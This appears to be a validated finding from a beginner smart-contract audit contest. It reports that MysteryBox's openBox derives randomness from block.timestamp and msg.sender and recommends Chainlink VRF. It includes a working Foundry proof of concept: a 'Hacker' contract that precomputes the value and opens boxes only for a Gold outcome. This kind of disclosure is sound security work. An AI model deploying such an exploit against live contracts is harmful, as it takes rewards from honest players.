Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Box Randomness Manipulation

Summary

The MysteryBox::openBox function is used to open a user's box, which could contain one of several items: Coal, Bronze, Silver, or Gold. The function uses a randomValue to determine the contents of the box. However, this randomValue is derived from block.timestamp and msg.sender, making it susceptible to manipulation by malicious users. By deploying a contract that strategically calls this function, an attacker can influence the randomValue and predict or manipulate the box's outcome.

Vulnerability Details

Proof of Concept:

  1. A malicious user deploys a smart contract that purchases and opens boxes under certain conditions.

  2. The contract repeatedly calls the Hacker::manipulateOpenBox function until a desired outcome is achieved, allowing the attacker to influence the randomness.

Proof of Code:

  • Vulnerable Code in MysteryBox Contract

...
function openBox() public {
...
@> uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
...
}
...
  • Test Contract to Demonstrate Randomness Manipulation

contract Test {
...
function test_randomnessManipulation() public {
address maliciousUser = makeAddr("maliciousUser");
vm.deal(maliciousUser, 1000 ether);
vm.startPrank(maliciousUser);
Hacker hacker = new Hacker(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
hacker.buyBox{value: boxPrice}();
uint256 gasStart = gasleft();
for (uint256 i = 0; i < 100; i++) {
bool isSuccess = hacker.manipulateOpenBox();
if (isSuccess) {
break;
}
vm.warp(block.timestamp + 1);
}
vm.stopPrank();
uint256 gasEnd = gasleft();
uint256 gasUsed = gasStart - gasEnd;
console.log("Avarage gas cost in range 100: ", gasUsed);
vm.prank(address(hacker));
MysteryBox.Reward[] memory hackerReward = mysteryBox.getRewards();
assertEq("Gold Coin", hackerReward[0].name);
}
}
contract Hacker {
address mysteryBox;
constructor(address _mysteryBox) {
mysteryBox = _mysteryBox;
}
function manipulateOpenBox() public returns (bool) {
uint256 randomValue = uint256(
keccak256(abi.encodePacked(block.timestamp, address(this)))
) % 100;
if (randomValue < 99) {
return false;
}
MysteryBox(mysteryBox).openBox();
return true;
}
function buyBox() public payable {
MysteryBox(mysteryBox).buyBox{value: msg.value}();
}
}

Impact

A malicious user can influence the outcome of the MysteryBox by controlling the randomValue generated in the MysteryBox::openBox function, thereby eliminating the intended randomness. The test results show that the maximum gas cost for 100 attempts is approximately 128,404.

Tools Used

  • Foundry

  • Manual Review

Recommendations

To mitigate this issue, it's recommended to use a more secure source of randomness. The best solution is to implement a Verifiable Random Function (VRF), such as Chainlink VRF, to ensure the integrity of random number generation and prevent manipulation.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!